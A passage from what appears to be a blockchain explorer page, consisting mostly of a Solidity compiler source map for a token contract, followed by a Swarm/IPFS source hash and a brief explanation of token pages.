44;11713:73;11709:173;;;11836:22;;11814:44;;11709:173;11605:296;11222:679;11131:785;11105:1072;;;11926:11;;-1:-1:-1;;;11926:11:0;;;;11922:255;;;-1:-1:-1;;;;;11996:20:0;;11958:35;11996:20;;;:14;:20;;;;;12085:18;;12060:22;;:43;;12085:18;12060:43;:::i;:::-;12035:22;;;:68;12146:15;12122:21;;;;:39;11922:255;12200:45;12215:4;12220:2;12223:11;12235:9;12200:14;:45::i;:::-;9149:3104;9075:3178;;;:::o;3590:190::-;3676:7;3712:12;3704:6;;;;3696:29;;;;-1:-1:-1;;;3696:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3736:9:0;3748:5;3752:1;3748;:5;:::i;:::-;3736:17;3590:190;-1:-1:-1;;;;;3590:190:0:o;13379:505::-;6849:6;:13;;-1:-1:-1;;;;6849:13:0;-1:-1:-1;;;6849:13:0;;;13481:16:::1;::::0;;13495:1:::1;13481:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13481:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13481:16:0::1;13457:40;;13526:4;13508;13513:1;13508:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13508:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13552:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13552:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13508:7;;13552:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13542:4;13547:1;13542:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13542:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13630:15:::1;::::0;13585:84:::1;::::0;13616:4:::1;::::0;13630:15:::1;13647:11:::0;13585:8:::1;:84::i;:::-;13680:15;::::0;:196:::1;::::0;-1:-1:-1;;;13680:196:0;;-1:-1:-1;;;;;13680:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13761:11;;13680:15:::1;::::0;13803:4;;13830::::1;::::0;13850:15:::1;::::0;13680:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6885:6:0;:14;;-1:-1:-1;;;;6885:14:0;;;-1:-1:-1;;;;13379:505:0:o;14256:92::-;14313:27;;5597:42;;14313:27;;;;;14333:6;;14313:27;;;;14333:6;5597:42;14313:27;;;;;;;;;;;;;;;;;;;8816:251;-1:-1:-1;;;;;8923:15:0;;;;;;:9;:15;;;;;;:32;;8943:11;8923:19;:32::i;:::-;-1:-1:-1;;;;;8906:15:0;;;;;;;:9;:15;;;;;;:49;;;;8982:13;;;;;;;:30;;9000:11;8982:17;:30::i;:::-;-1:-1:-1;;;;;8966:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9028:31;;;;;;;;;;9047:11;1361:25:1;;1349:2;1334:18;;1215:177;3788:246:0;3846:7;3870:1;3875;3870:6;3866:47;;-1:-1:-1;3900:1:0;3893:8;;3866:47;3923:9;3935:5;3939:1;3935;:5;:::i;:::-;3923:17;-1:-1:-1;3968:1:0;3959:5;3963:1;3923:17;3959:5;:::i;:::-;:10;3951:56;;;;-1:-1:-1;;;3951:56:0;;12918:2:1;3951:56:0;;;12900:21:1;12957:2;12937:18;;;12930:30;12996:34;12976:18;;;12969:62;-1:-1:-1;;;13047:18:1;;;13040:31;13088:19;;3951:56:0;12716:397:1;3951:56:0;4025:1;3788:246;-1:-1:-1;;;3788:246:0:o;4042:132::-;4100:7;4127:39;4131:1;4134;4127:39;;;;;;;;;;;;;;;;;:3;:39::i;13273:98::-;13329:7;13357:1;13355;:3;13354:9;;13362:1;13354:9;;;-1:-1:-1;13360:1:0;13273:98;-1:-1:-1;13273:98:0:o;12261:269::-;12385:15;12401:46;12419:4;12425:11;12437:9;12401:17;:46::i;:::-;12385:62;-1:-1:-1;12458:64:0;12478:4;12484:2;12385:62;12495:26;:11;12511:9;12495:15;:26::i;:::-;12458:19;:64::i;:::-;12374:156;12261:269;;;;:::o;3446:136::-;3504:7;3531:43;3535:1;3538;3531:43;;;;;;;;;;;;;;;;;:3;:43::i;3259:179::-;3317:7;;3349:5;3353:1;3349;:5;:::i;:::-;3337:17;;3378:1;3373;:6;;3365:46;;;;-1:-1:-1;;;3365:46:0;;13320:2:1;3365:46:0;;;13302:21:1;13359:2;13339:18;;;13332:30;13398:29;13378:18;;;13371:57;13445:18;;3365:46:0;13118:351:1;4182:189:0;4268:7;4303:12;4296:5;4288:28;;;;-1:-1:-1;;;4288:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4327:9:0;4339:5;4343:1;4339;:5;:::i;12841:422::-;12941:7;;-1:-1:-1;;;;;;;12979:19:0;;;:69;;13015:16;;:33;;13036:11;13015:20;:33::i;:::-;12979:69;;;13001:11;12979:69;12961:87;-1:-1:-1;13063:12:0;;13059:172;;13138:4;13120:24;;;;:9;:24;;;;;;:39;;13149:9;13120:28;:39::i;:::-;13111:4;13093:24;;;;:9;:24;;;;;;;:66;;;;13179:40;;-1:-1:-1;;;;;13179:40:0;;;;;;;13209:9;1361:25:1;;1349:2;1334:18;;1215:177;13179:40:0;;;;;;;;13059:172;13248:7;12841:422;-1:-1:-1;;;;12841:422:0:o;12538:295::-;-1:-1:-1;;;;;12687:15:0;;;;;;:9;:15;;;;;;:31;;12707:10;12687:19;:31::i;:::-;-1:-1:-1;;;;;12669:15:0;;;;;;;:9;:15;;;;;;:49;;;;12745:13;;;;;;;:32;;12763:13;12745:17;:32::i;:::-;-1:-1:-1;;;;;12729:13:0;;;;;;;:9;:13;;;;;;;:48;;;;12793:32;;;;;;;;;;12811:13;1361:25:1;;1349:2;1334:18;;1215:177;12793:32:0;;;;;;;;12538:295;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5649:251::-;5719:6;5772:2;5760:9;5751:7;5747:23;5743:32;5740:52;;;5788:1;5785;5778:12;5740:52;5820:9;5814:16;5839:31;5864:5;5839:31;:::i;6826:306::-;6914:6;6922;6930;6983:2;6971:9;6962:7;6958:23;6954:32;6951:52;;;6999:1;6996;6989:12;6951:52;7028:9;7022:16;7012:26;;7078:2;7067:9;7063:18;7057:25;7047:35;;7122:2;7111:9;7107:18;7101:25;7091:35;;6826:306;;;;;:::o;7416:277::-;7483:6;7536:2;7524:9;7515:7;7511:23;7507:32;7504:52;;;7552:1;7549;7542:12;7504:52;7584:9;7578:16;7637:5;7630:13;7623:21;7616:5;7613:32;7603:60;;7659:1;7656;7649:12;10487:125;10552:9;;;10573:10;;;10570:36;;;10586:18;;:::i;10972:135::-;11011:3;11032:17;;;11029:43;;11052:18;;:::i;:::-;-1:-1:-1;11099:1:1;11088:13;;10972:135::o;11112:128::-;11179:9;;;11200:11;;;11197:37;;;11214:18;;:::i;11377:127::-;11438:10;11433:3;11429:20;11426:1;11419:31;11469:4;11466:1;11459:15;11493:4;11490:1;11483:15;11509:980;11771:4;11819:3;11808:9;11804:19;11850:6;11839:9;11832:25;11876:2;11914:6;11909:2;11898:9;11894:18;11887:34;11957:3;11952:2;11941:9;11937:18;11930:31;11981:6;12016;12010:13;12047:6;12039;12032:22;12085:3;12074:9;12070:19;12063:26;;12124:2;12116:6;12112:15;12098:29;;12145:1;12155:195;12169:6;12166:1;12163:13;12155:195;;;12234:13;;-1:-1:-1;;;;;12230:39:1;12218:52;;12325:15;;;;12290:12;;;;12266:1;12184:9;12155:195;;;-1:-1:-1;;;;;;;12406:32:1;;;;12401:2;12386:18;;12379:60;-1:-1:-1;;;12470:3:1;12455:19;12448:35;12367:3;11509:980;-1:-1:-1;;;11509:980:1:o;12494:217::-;12534:1;12560;12550:132;;12604:10;12599:3;12595:20;12592:1;12585:31;12639:4;12636:1;12629:15;12667:4;12664:1;12657:15;12550:132;-1:-1:-1;12696:9:1;;12494:217::o

Swarm Source

ipfs://d2b044f1a18239f38b25959597207dfdd3a5a562930bfe8d983f58d68feb1269
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.